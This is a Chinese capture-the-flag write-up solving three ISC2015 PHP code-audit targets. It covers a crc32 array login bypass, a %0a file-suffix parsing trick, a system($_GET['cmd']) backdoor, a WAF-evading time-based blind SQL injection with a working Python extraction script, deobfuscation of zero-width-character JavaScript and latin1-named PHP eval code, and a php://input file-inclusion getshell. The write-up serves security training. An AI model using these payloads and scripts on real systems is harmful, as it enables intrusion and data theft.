ISC2015攻防挑战赛靶机攻略:PHP代码审计类

admin 2023-12-08 15:49:40 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

https://p5.ssl.qhimg.com/t0103fe7e45917d3666.jpg

Mars@0kee Team


0x01 低分靶机1:

右键查看网页源码可以看到PHP源码:

if (isset($_POST['0kee_username']) and isset($_POST['0kee_password'])) {
    if ($_POST['0kee_username'] == $_POST['0kee_password']){
        die("0kee_username should different from 0kee_password");
    }else if(crc32($_POST['0kee_username']) === crc32($_POST['0kee_password'])){
        redirect();
    }else{
        die("0kee_username or 0kee_password is incorrect");
    }
}

很简单,只要POST提交0kee_username[]=a&0kee_password[]=b即可,因为crc32的参数为数组时返回NULL。

登陆成功后进入下一个页面,右键查看网页源码可以看到提示 “李老师在PHP中留下了后门,你能找到他吗?”
当前url是:?name=shell.php.jpg, 看到.php.jpg后缀,猜测后门是跟解析漏洞或者字符串截断有关,因此可以Fuzz一下?name=shell.php.{$suffix} 和 ?name=shell.php{$chr}.jpg,最后发现 ?name=shell.php%0a.jpg 可以解析shell.php文件,成功访问到shell。


0x02 低分靶机2:

扫描发现备份文件index.php.bak,下载后得到index.php源码,如下:

error_reporting(0);
function RotEncrypt($str, $pass){
   $pass = str_split(str_pad('', strlen($str), $pass, STR_PAD_RIGHT));
   $stra = str_split($str);
   foreach($stra as $k=>$v){
     $tmp = ord($v)+ord($pass[$k]);
     $stra[$k] = chr( $tmp > 255 ?($tmp-256):$tmp);
   }
   return join('', $stra);
}
function post($url, $post_data = '', $timeout = 5){
    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL, $url);
        curl_setopt ($ch, CURLOPT_POST, 1);
    if($post_data != ''){
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    }
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_HEADER, false);
    $file_contents = curl_exec($ch);
    curl_close($ch);
    return $file_contents;
}
$name = addslashes($_POST['name']);
$cat = addslashes($_POST['cat']);
$content = <<< EOF
    <div style="text-align:center;margin-top:150px;">
    <h3>Book search system</h3>
    <form action="admin.php" method="post">
        Name: <input type="text" name="name" value="king"></input><br>
        Category: &nbsp;<select name="cat">
        <option value ="Classic Literature & Fiction">Classic Literature & Fiction</option>
        <option value ="Literary">Literary</option>
        <option value ="Literature & Fiction">Literature & Fiction</option>
        <option value ="Military History">Military History</option>
        <option value ="Thrillers & Suspense">Thrillers & Suspense</option>
        <option value ="Historical">Historical</option>
        </select>
        <input type="submit" name="submit" value="Query"></input><br>
    </form>
    </div>
EOF;
echo $content;
if($name && $cat){
    echo post("http://10.18.25.154:10002/isc/query.php",array("data"=>RotEncrypt("name=$name&cat=$cat","ISC2015")));
}
if($_POST['key'] == "{$key}"){
    system($_GET['cmd']);
}
/*
query.php:
include "config.php";
function RotDecrypt($str, $pass){
   $pass = str_split(str_pad('', strlen($str), $pass, STR_PAD_RIGHT));
   $stra = str_split($str);
   foreach($stra as $k=>$v){
     $tmp = ord($v)-ord($pass[$k]);
     $stra[$k] = chr( $tmp < 0 ?($tmp+256):$tmp);
   }
   return join('', $stra);
}
function Fsql($sql){
    if(preg_match('/(and|ascii|concat|from|group by|group_concat|hex|limit|lpad|or|select|substr|union|where|s)/i', $sql)){
        return "";
    }else{
        return $sql;
    }
}
parse_str(RotDecrypt($_POST['data'],"ISC2015"), $str);
$connection = mysql_connect($db_host,$db_username,$db_password) or die("could not connect to Mysql");
mysql_query("set names 'utf8'");
$db_selecct=mysql_select_db($db_database) or die("could not to the database");
$query="select * from test where name = '".Fsql($str[name])."'";
$result = @mysql_query($query);
if($result){
    $res=mysql_fetch_array($result);
    if($res['name']){
        echo $str[name]." exist.";
    }else{
        echo $str[name]." not exist.";
    }
}
*/

注:其中query.php是不能访问的。

仔细看了一下源码,发现其实是利用parse_str解码,然后绕过WAF的SQL注入。

  1.    首先看看index.php,它使用CURL将POST请求发送到query.php, 然后query.php使用parsestr接受参数,相信敏感的童鞋已经发现问题了,parsestr对字符串进行解析,同时还自带urldecode功能,所以name参数通过使用%2527就可以绕过addslashes函数。

  2.    接下来面对的就是一个简单的WAF函数Fsql,它过滤了指定的一些关键字,参考 https://www.exploit-db.com/papers/17934/ , 绕过方法如下:

'||if(rpad(`key`,1,1)='a',sleep(3),1)#

通过以上分析,写了一个简单的Python脚本来跑出Key:

import httplib
import time
import urllib
headers = {"Content-type": "application/x-www-form-urlencoded" , "Accept": "text/plain"}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789'
print '[%s] Start to retrive key:' % time.strftime('%H:%M:%S', time.localtime())
key = ''
for i in range(1, 33):
    for payload in payloads:
        err_count = 0
        try:
            s = "'||if(rpad(`key`,%d,1)='%s',sleep(3),1)#" % (i,key+payload)
            body = "name=%s&cat=aaa&submit=Query" % urllib.quote_plus(urllib.quote_plus(s))
            conn = httplib.HTTPConnection('192.168.8.144', timeout=3)
            conn.request(method='POST',url='/',body=body,headers=headers)
            conn.getresponse()
            conn.close()
        except:
            key += payload
            print "n retrive...",key

得到Key。post提交key=3e9220818780da69c1df739fa7564ada到index.php?cmd=id即可执行任意命令,最终getshell。


0x03 高分靶机:

最后是一道代码混淆的题目, JS混淆和PHP混淆。首先我们看看JS代码:

var _0x6788=["x39x28x22u200Du200Bu200Du200Cu200Du200CuFEFFu200Du200Du200BuFEFFu200CuFEFFu200CuFEFFuFEFFu200Du200Cu200Cu200Bu200Du200Cu200Du200Du200Du200Bu200Cu200DuFEFFu200Bu200Bu200DuFEFFu200CuFEFFuFEFFuFEFFu200Cu200Du200BuFEFFu200BuFEFFu200Bu200Du200Cu200Du200DuFEFFu200Bu200Cu200DuFEFFu200BuFEFFu200CuFEFFu200BuFEFFu200CuFEFFu200BuFEFFuFEFFuFEFFu200Bu200CuFEFFuFEFFu200BuFEFFu200DuFEFFu200Bu200CuFEFFuFEFFu200Bu200Du200BuFEFFu200Bu200CuFEFFuFEFFu200BuFEFFuFEFFu200Du200Cu200DuFEFFu200Du200CuFEFFu200DuFEFFu200Bu200Du200CuFEFFu200Bu200Cu200Du200Du200CuFEFFu200BuFEFFu200BuFEFFu200Du200Du200Cu200DuFEFFu200Du200Cu200Du200CuFEFFu200Bu200Du200BuFEFFu200BuFEFFu200BuFEFFu200Bu200Cu200Du200Du200Cu200Du200Cu200Du200CuFEFFu200DuFEFFu200Bu200Du200BuFEFFu200Bu200Du200DuFEFFu200Bu200Du200CuFEFFu200Bu200DuFEFFu200Du200CuFEFFu200Du200Du200Cu200DuFEFFu200Du200CuFEFFu200DuFEFFu200Cu200Du200BuFEFFu200Bu200Cu200Bu200Du200CuFEFFu200Bu200Du200Cu200Bu200Bu200Du200Cu200Bu200Cu200Du200BuFEFFu200Bu200Du200Cu200Bu200Bu200Du200Cu200BuFEFFu200Du200Cu200Du200DuFEFFu200Cu200Bu200Cu200Du200Cu200BuFEFFu200Du200Cu200Bu200Bu200Du200Cu200Du200BuFEFFu200Cu200CuFEFFuFEFFu200Cu200Du200Bu200Du200Bu200Du200Bu200Du200Cu200CuFEFFu200Du200Cu200Du200Du200Du200BuFEFFu200Cu200Du200Cu200Du200DuFEFFu200CuFEFFuFEFFu200Du200Cu200Cu200Du200Du200BuFEFFu200BuFEFFu200CuFEFFuFEFFu200Du200Bu200DuFEFFu200Du200Cu200CuFEFFu200Du200Cu200Du200DuFEFFu200CuFEFFuFEFFu200Du200Cu200Cu200Bu200Du200Cu200Du200Du200Du200Bu200Cu200DuFEFFu200Bu200Bu200BuFEFFu200Cu200Du200BuFEFFu200Cu200Cu200DuFEFFu200Bu200Cu200Bx22x2Ex30x28x2Fx2Ex7Bx34x7Dx2Fx67x2Cx33x28x61x29x7Bx63x20x35x3Dx7Bx22u200Bx22x3Ax22x38x22x2Cx22u200Cx22x3Ax22x36x22x2Cx22u200Dx22x3Ax22x37x22x2Cx22uFEFFx22x3Ax22x62x22x7Dx3Bx31x20x65x2Ex64x28x66x28x61x2Ex30x28x2Fx2Ex2Fx67x2Cx33x28x61x29x7Bx31x20x35x5Bx61x5Dx7Dx29x2Cx32x29x29x7Dx29x29x28x29","x7C","x73x70x6Cx69x74","x72x65x70x6Cx61x63x65x7Cx72x65x74x75x72x6Ex7Cx7Cx66x75x6Ex63x74x69x6Fx6Ex7Cx7Cx72x65x70x7Cx31x30x7Cx30x31x7Cx31x31x7Cx46x75x6Ex63x74x69x6Fx6Ex7Cx7Cx30x30x7Cx76x61x72x7Cx66x72x6Fx6Dx43x68x61x72x43x6Fx64x65x7Cx53x74x72x69x6Ex67x7Cx70x61x72x73x65x49x6Ex74x7C","x72x65x70x6Cx61x63x65","","x5Cx77x2B","x5Cx62","x67"];eval(function(_0xc8b9x1,_0xc8b9x2,_0xc8b9x3,_0xc8b9x4,_0xc8b9x5,_0xc8b9x6){_0xc8b9x5=function(_0xc8b9x3){return _0xc8b9x3.toString(36)};if(!_0x6788[5][_0x6788[4]](/^/,String)){while(_0xc8b9x3--){_0xc8b9x6[_0xc8b9x3.toString(_0xc8b9x2)]=_0xc8b9x4[_0xc8b9x3]||_0xc8b9x3.toString(_0xc8b9x2)};_0xc8b9x4=[function(_0xc8b9x5){return _0xc8b9x6[_0xc8b9x5]}];_0xc8b9x5=function(){return _0x6788[6]};_0xc8b9x3=1;};while(_0xc8b9x3--){if(_0xc8b9x4[_0xc8b9x3]){_0xc8b9x1=_0xc8b9x1[_0x6788[4]]( new RegExp(_0x6788[7]+_0xc8b9x5(_0xc8b9x3)+_0x6788[7],_0x6788[8]),_0xc8b9x4[_0xc8b9x3])}};return _0xc8b9x1;}(_0x6788[0],17,17,_0x6788[3][_0x6788[2]](_0x6788[1]),0,{}));

把eval改成console.log运行看看,得到:

Function("‍‍‌‍‌‍‍‌‌‍‌‌‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‍‍‌‌‍‍‌‍‍‌‍‍‌‍‌‍‌‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‍‍‍‌‍‌‍‌‌‍‌".replace(/.{4}/g,function(a){var rep={"":"11","‌":"10","‍":"01","":"00"};return String.fromCharCode(parseInt(a.replace(/./g,function(a){return rep[a]}),2))}))()

再将Function改为成console.log,删去结尾的()即可得到:

var key= '3e9220818780da69c1df739fa7564ada';console.log('where is the key?');

这里的JS其实是用unicode的零宽空白符(会使字符串看起来长度是0)替换了字符串二进制的0和1:'uFEFF'替换'00','u200d'替换'01', 'u200c'替换'10','u200b'替换'11'。最终执行的时候再替换回来。但是很显然一个console.log就可以解决它。

再看看PHP代码:

<?php
error_reporting(0);
function z‹†“–‘˜€˜•($›œž,$s){global $™—˜‘“;$›œž1 = "";foreach ($™—˜‘“(";",$›œž) as $obj){$›œž1 .= chr($obj+ord($s));}return $›œž1;}
function –($–,$ƒ=""){global $üúûù,$”›,$”Œ’Ž”;if(empty($ƒ)){return base64_decode($–);}else{if(!(($”›))){$”› = $”Œ’Ž”;}return –($üúûù(–(z‹†“–‘˜€˜•($–,$ƒ)),$”›("üúûù™—˜‘“œ…––—Ž")));}}function Ÿ‰($“‰–”„–){eval($“‰–”„–);}
$üúûù = –("Z3p1bmNvbXByZXNz");$™—˜‘“ = –("ZXhwbG9kZQ=="); $”Œ’Ž” = –("aW50dmFs"); $’šˆb = –("YXJyYXlfbWFw");
$”› = –("52;16;20;17;18;16;19;2;-2;1;21;39;29;35;17;58;49;36;41;73;18;2;36;18;64;16;12;12;","11;-25;-21;");
$œ…––—Ž = –("11;-25;-21;-24;-23;-25;-22;-39;-43;-41;18;-1;-6;20;22;7;-3;-21;21;29;-22;-15;-17;-23;22;13;-29;-29;","Z3p1bmNvbXByZXNz");
$œ…– = –("2;-34;-30;-33;-32;-34;-31;-48;-52;-50;13;-10;-12;10;5;6;-18;-15;-51;-42;-31;-28;-10;-32;8;4;-38;-38;","c3RyX3NwbGl0");
$’šˆb("Ÿ‰",array(–("53;17;21;18;19;17;58;3;9;1;64;69;38;62;38;42;29;1;26;71;41;58;25;0;42;74;34;70;33;1;60;5;30;40;64;64;49;21;68;29;49;39;52;28;41;59;30;69;41;0;68;34;30;23;9;20;30;58;34;70;33;3;52;4;41;58;34;70;35;59;56;31;38;23;34;25;35;40;30;26;33;1;26;6;37;74;26;39;30;37;68;36;33;58;52;26;33;39;9;27;35;59;9;28;34;39;9;1;35;0;22;67;36;40;38;58;30;23;9;20;39;36;34;70;33;2;29;0;50;0;30;38;52;3;18;18;42;1;18;36;34;23;60;62;35;59;1;70;35;39;59;71;29;21;9;5;29;20;18;30;34;24;30;0;36;40;64;42;30;0;72;37;36;36;38;32;53;36;18;6;36;0;34;74;52;21;5;21;33;36;52;29;38;21;0;74;36;3;59;71;29;37;5;21;51;3;34;31;38;23;51;3;36;22;34;38;29;37;9;5;29;24;60;32;34;24;30;4;36;62;64;74;52;21;1;37;49;74;52;31;34;24;30;6;36;3;64;22;30;0;72;37;35;36;34;32;53;36;17;72;36;61;64;74;52;21;1;6;34;36;52;29;38;22;38;5;36;3;59;71;53;59;9;21;51;3;34;31;34;23;51;3;36;22;34;26;30;0;72;37;36;36;34;32;53;59;38;4;36;3;64;22;29;21;9;5;29;20;18;31;34;24;30;0;36;59;34;34;30;0;60;64;52;2;60;56;39;21;5;65;36;39;64;18;53;21;5;36;35;40;18;32;52;2;9;27;35;59;1;56;37;2;41;66;35;0;22;69;42;37;68;18;50;1;30;18;31;37;60;32;35;0;22;66;53;39;52;64;36;22;34;34;30;0;72;37;37;40;52;32;53;36;18;6;36;61;64;74;52;21;1;6;49;74;52;29;38;21;0;71;36;3;59;71;29;21;1;21;51;3;34;30;53;61;29;3;36;60;34;74;52;21;5;37;42;74;52;29;38;22;37;73;36;3;64;58;30;0;1;37;34;36;52;29;38;23;29;3;36;22;34;30;53;59;9;5;29;24;60;31;53;62;30;0;36;0;34;74;52;21;1;37;49;74;52;30;38;24;30;6;36;3;64;22;53;37;9;5;29;24;56;32;34;24;30;6;36;3;59;71;53;21;9;5;29;24;60;30;49;62;30;0;36;38;34;38;30;0;1;6;51;3;60;32;53;59;37;73;36;3;59;71;53;37;5;65;51;3;34;30;38;23;29;3;36;22;34;22;30;37;9;6;35;36;52;29;38;21;60;6;36;3;59;71;29;37;5;65;51;3;34;30;38;22;37;3;36;22;34;38;29;59;9;5;29;24;56;31;38;24;30;0;36;40;64;42;30;0;72;37;34;36;52;29;38;21;59;74;36;3;59;71;53;37;5;37;51;3;34;30;38;23;51;3;36;38;34;22;30;0;72;37;37;36;38;32;53;36;18;6;36;0;34;74;52;21;1;6;39;36;52;29;38;22;37;74;36;3;59;71;29;21;5;21;51;2;60;29;33;0;64;71;41;74;26;30;53;37;1;21;34;36;22;26;49;39;67;3;33;2;52;66;49;74;34;70;33;74;37;0;50;0;30;64;53;36;34;57;34;61;9;58;38;74;60;3;50;74;56;62;37;22;30;21;49;39;52;27;36;39;9;26;49;36;17;71;36;3;59;71;29;21;1;21;51;3;34;30;53;60;59;3;36;22;34;30;30;37;9;5;29;24;64;31;53;62;30;0;36;59;34;18;30;0;72;37;36;36;30;32;53;59;37;74;36;3;59;71;29;37;9;21;51;3;34;31;38;22;59;3;36;62;64;74;52;21;1;37;39;36;52;29;38;23;51;3;36;22;34;30;53;59;9;5;29;20;22;32;53;59;21;3;36;22;34;26;53;59;9;6;34;36;30;32;53;59;0;3;36;1;34;74;52;21;1;37;42;74;52;30;53;62;30;0;36;40;64;42;30;0;72;37;37;36;34;32;53;36;18;5;36;60;34;74;52;21;1;65;36;36;52;30;38;21;0;3;36;22;34;26;30;37;9;5;29;24;64;32;38;24;30;0;36;59;34;18;30;0;72;37;35;36;18;32;53;36;17;71;36;59;34;74;49;37;72;20;35;62;18;58;29;59;1;5;36;37;34;22;29;37;60;64;49;74;52;20;42;2;68;66;38;40;64;31;49;61;30;65;36;60;38;26;34;20;18;62;41;60;52;34;29;37;68;25;36;58;22;42;50;59;4;71;41;2;60;62;49;3;56;71;35;57;8;0;50;0;30;59;30;23;9;20;49;21;68;24;38;62;38;49;33;2;52;66;30;23;9;20;30;36;34;70;33;2;60;5;30;23;26;23;50;2;30;40;31;40;52;70;31;23;9;27;53;36;56;69;36;21;30;35;42;60;37;71;38;60;30;39;49;1;42;36;38;3;60;27;37;38;30;23;33;61;42;38;29;22;42;30;37;61;60;27;42;21;68;36;49;3;18;29;34;21;22;74;36;22;34;30;53;37;68;36;49;74;52;20;42;2;68;66;38;40;64;31;49;61;30;65;36;60;38;26;34;20;18;62;41;60;52;34;29;37;68;25;36;58;22;42;50;59;4;71;41;2;60;62;49;1;38;6;36;61;64;58;49;59;5;38;36;21;34;22;52;0;68;36;49;74;52;20;42;2;72;71;39;61;60;62;49;74;34;70;37;2;59;0;50;0;30;38;53;36;38;6;49;39;52;27;49;61;60;62;35;62;64;64;42;0;64;37;33;2;68;20;42;2;68;4;51;21;63;70;30;23;9;20;42;20;34;70;33;2;56;28;34;1;42;1;39;59;30;62;49;74;34;70;33;74;37;0;50;0;30;64;53;36;34;57;34;61;9;58;38;74;60;3;50;74;56;70;35;62;59;4;50;59;72;20;37;61;42;38;29;22;42;36;38;61;68;39;37;1;52;5;35;60;22;36;34;59;26;61;38;36;18;39;36;38;26;64;35;61;34;28;37;2;68;71;36;21;29;71;53;59;1;64;49;2;52;26;38;20;18;62;35;59;42;30;53;60;59;74;35;40;64;39;33;2;71;3;33;2;52;66;35;60;64;41;49;24;18;59;33;2;52;71;36;3;52;70;35;61;42;34;50;0;64;27;36;39;22;36;42;57;68;28;33;39;5;60;35;0;22;70;37;0;21;5;35;37;9;28;33;39;68;5;42;2;60;29;38;22;21;3;36;22;34;34;52;0;9;5;29;24;64;31;49;62;30;0;36;40;64;66;30;0;72;37;36;36;34;32;53;36;17;71;36;37;34;74;52;21;1;6;41;74;52;29;38;22;37;71;36;3;59;71;29;37;9;21;51;3;34;31;38;22;37;3;36;22;34;26;30;21;9;6;34;36;30;32;53;36;18;5;36;37;34;74;29;37;9;6;36;36;52;30;34;24;30;0;36;39;64;30;30;0;72;37;38;36;26;32;53;36;18;4;36;60;34;74;52;21;5;37;39;36;52;29;38;21;0;74;36;3;59;71;53;59;5;65;51;3;56;31;34;24;30;0;36;40;64;62;30;0;72;37;38;36;26;32;53;36;18;5;36;3;59;71;29;21;5;21;51;3;34;31;34;22;21;3;35;39;60;3;49;39;22;41;36;61;64;30;49;59;22;4;36;60;30;26;51;21;9;3;50;0;64;27;36;0;68;18;52;39;38;28;33;39;9;74;52;37;52;4;41;37;56;23;52;61;30;28;37;21;60;21;29;23;51;0;50;0;30;37;35;0;30;26;52;21;5;21;51;3;34;31;34;21;21;3;36;22;34;30;29;59;9;5;29;24;64;32;38;24;30;0;36;40;64;66;30;0;72;37;37;40;52;32;53;36;18;6;36;62;64;74;52;21;5;37;33;36;52;29;38;22;37;0;36;3;59;71;29;37;5;37;51;3;34;30;53;59;59;3;36;38;34;58;30;0;72;37;35;40;60;32;53;60;21;3;36;38;34;18;30;0;72;37;36;36;30;32;53;36;18;6;36;38;34;74;52;21;5;21;33;36;52;29;38;21;0;72;36;3;59;71;53;37;9;37;51;2;60;29;33;0;64;71;41;74;26;30;53;37;1;21;34;36;22;26;49;39;67;3;33;2;52;66;49;74;34;70;37;2;59;0;50;0;30;38;53;36;38;6;49;39;52;27;49;61;60;62;35;62;64;64;42;0;64;37;33;2;68;20;33;36;60;26;36;0;68;18;49;3;60;62;49;37;5;65;49;74;52;30;53;59;0;3;36;40;64;58;30;0;1;6;37;36;52;30;53;60;37;3;36;40;64;30;30;0;1;6;39;36;52;30;38;23;67;3;36;38;34;38;30;0;1;37;42;74;52;31;34;22;37;3;36;1;34;18;30;0;5;37;37;36;52;31;53;61;29;3;36;62;64;42;30;0;5;6;37;36;52;31;34;22;37;3;36;38;34;58;30;0;5;21;35;36;52;30;49;59;37;3;36;40;64;38;30;0;1;65;38;36;52;31;53;59;37;3;36;40;64;38;30;0;9;21;37;36;52;32;34;23;29;3;36;39;64;66;30;0;1;65;49;74;52;26;49;40;52;64;35;37;52;67;53;60;60;6;35;40;52;30;38;22;38;64;35;1;34;74;35;0;60;20;33;39;52;26;33;1;34;23;50;0;1;40;42;3;56;56;35;23;60;62;51;40;64;20;49;58;56;40;42;3;52;71;29;2;60;62;36;23;67;5;35;37;51;72;49;61;30;69;50;24;52;59;34;58;60;66;39;60;52;31;53;39;38;41;33;58;18;28;33;0;22;62;33;2;52;66;42;0;60;20;33;39;52;37;38;37;5;36;38;1;42;19;38;38;55;72;35;59;64;36;49;74;38;22;37;38;38;39;36;38;56;6;34;40;60;32;33;3;52;62;35;37;22;70;35;59;60;20;33;39;52;26;33;1;26;6;37;74;26;39;30;37;72;20;33;39;52;20;42;2;68;62;35;37;30;18;42;1;60;68;34;62;64;49;38;22;59;71;39;20;26;35;50;22;59;73;31;39;68;49;37;2;52;66;41;74;22;31;29;23;30;64;49;3;30;26;33;0;22;28;33;1;30;18;42;0;60;20;33;59;5;34;29;37;64;49;38;37;42;35;42;60;34;38;31;37;38;35;38;58;60;23;37;36;18;26;42;0;60;18;50;0;64;20;37;2;67;3;35;37;30;18;35;0;60;20;33;39;52;26;33;1;26;66;39;60;52;31;42;61;30;5;33;36;60;26;33;1;34;24;49;2;4;70;49;39;52;27;29;2;60;62;35;0;38;70;35;59;1;40;42;3;56;56;34;21;42;70;42;37;68;20;51;59;1;28;37;24;56;56;34;21;30;69;42;37;68;18;52;38;30;66;30;0;60;20;33;37;68;26;33;0;22;62;35;37;30;35;52;1;60;40;37;61;68;56;38;74;38;69;35;37;33;71;42;0;64;32;35;0;22;1;42;37;68;18;50;3;30;1;34;3;56;56;35;21;42;2;41;0;68;33;35;0;30;37;34;61;9;30;38;2;52;4;41;37;56;64;42;3;22;6;33;2;63;4;38;2;52;3;51;20;30;64;42;0;72;67;41;59;64;24;37;61;72;42;29;36;60;6;36;22;34;23;42;21;68;37;51;2;52;26;33;39;9;62;35;37;30;18;42;0;64;30;38;2;52;4;41;37;34;23;50;2;38;28;33;3;26;30;35;1;18;4;41;37;34;20;50;61;38;28;33;40;38;36;33;36;60;26;33;1;34;64;49;21;68;29;49;39;52;27;38;21;72;69;36;0;68;18;50;37;9;28;33;39;5;32;35;0;22;67;36;37;68;34;35;0;30;37;34;61;9;30;38;2;52;4;41;37;56;64;42;3;22;6;33;2;63;4;38;2;52;3;51;20;30;64;42;0;72;66;51;0;60;21;33;40;30;26;33;74;18;66;41;0;52;23;49;1;64;24;50;24;38;49;53;39;67;3;35;37;30;18;35;0;60;20;33;39;52;26;35;21;64;67;42;21;56;39;53;39;26;64;33;39;68;4;41;37;34;23;50;0;1;40;49;20;34;70;35;3;30;3;50;73;9;23;50;0;1;28;42;20;34;70;33;74;38;32;53;37;22;62;33;2;4;71;30;0;60;18;32;36;1;63;40;6;74;40;","0kee")));
$’šˆb("Ÿ‰",array(–((‘˜™…›‰ž("1fGsxIV2paz+B/yIQElTwo9kHRBDAtOH3bYAOYktnpKiS9r+7E4Vgr6pOOy2y9eiBHbDIJVTCvLtYSL8tjmFKclsqE9DWXP0ikJpf9yRIE/xayuvX/AKt63hjzRTIB7iPDdEzNrZ/cHkhnEW12x2g0mlP/aywbi539SvzH61EtYTepNAQSxDD6KrVW3JewNmwdjJkPYhN2KH+kINCObzCU3bg+Fq+ACeGdqoe4KKLnEVWMVL/FkkgETEkh/IBhqmJKISQtb1JcY8NG3zLszjYp3HIxdpZsx6DjgzWrPbeA+rAKpl2JeFTFMzt3IKw0H4NCgj3XbkRZNkCHbXqRRUYjS29BzlocMHKniqo+5b9J+A1/GtFmDAxjir5g1I1ywTNa39VpVoKEaSal1q2yd/DpYKTCJRUNyiMocqDwaSm8sJTwMxAZfMu20EZTewEHzZFvKImifta1vcBY/gpLlEq4pIw8D+AmO4nQh+fdoMIu8=",$_GET['key'])))));
?>290a1791da62e758b6bcc21057a2b74b

这里用到了什么原理呢?PHP的变量支持latin1 字符的范围,也就是ASCII:0-255(x00-xff),我们写个PHP脚本测试一下:

<?php
for($i = 0; $i <= 255; $i++){
    $tmp = $i;
    if(is_null(@eval('$'.chr($i)."='0';"))){
        $i = $tmp;
        echo "\x".dechex($i)."<br>";
    }
}
?>

最终程序输出的ASCII就是PHP合法的变量名。

"A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, _, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, , ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?,  , ¡, ¢, £, ¤, ¥, ¦, §, ¨, ©, ª, «, ¬, ­, ®, ¯, °, ±, ², ³, ´, µ, ¶, ·, ¸, ¹, º, », ¼, ½, ¾, ¿, À, Á, Â, Ã, Ä, Å, Æ, Ç, È, É, Ê, Ë, Ì, Í, Î, Ï, Ð, Ñ, Ò, Ó, Ô, Õ, Ö, ×, Ø, Ù, Ú, Û, Ü, Ý, Þ, ß, à, á, â, ã, ä, å, æ, ç, è, é, ê, ë, ì, í, î, ï, ð, ñ, ò, ó, ô, õ, ö, ÷, ø, ù, ú, û, ü, ý, þ, ÿ"

而上面那一段混淆后的PHP代码就是使用这些字符做变量名。清楚了这一点之后,只需把他们当作普通变量名,跟着流程耐心替换走一遍就行。

结合之前得到的Key,从混淆的PHP源码中得到:

function filterIllegalChar($name){
    if(preg_match('/(http|.|/.+/)/i', $name)){
        die("file is illegal");
    }else{
        return $name;
    }
};
$file = filterIllegalChar($_GET['0kee_360_cn']);    
include($file);

filterIllegalChar过滤了http和../,那么可以利用php://input输入流来突破,如下:

challenge.php?key=3e9220818780da69c1df739fa7564ada&0kee_360_cn=php://input,同时post提交<?php phpinfo(); ?>

即可getshell。

weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论:0   参与:  0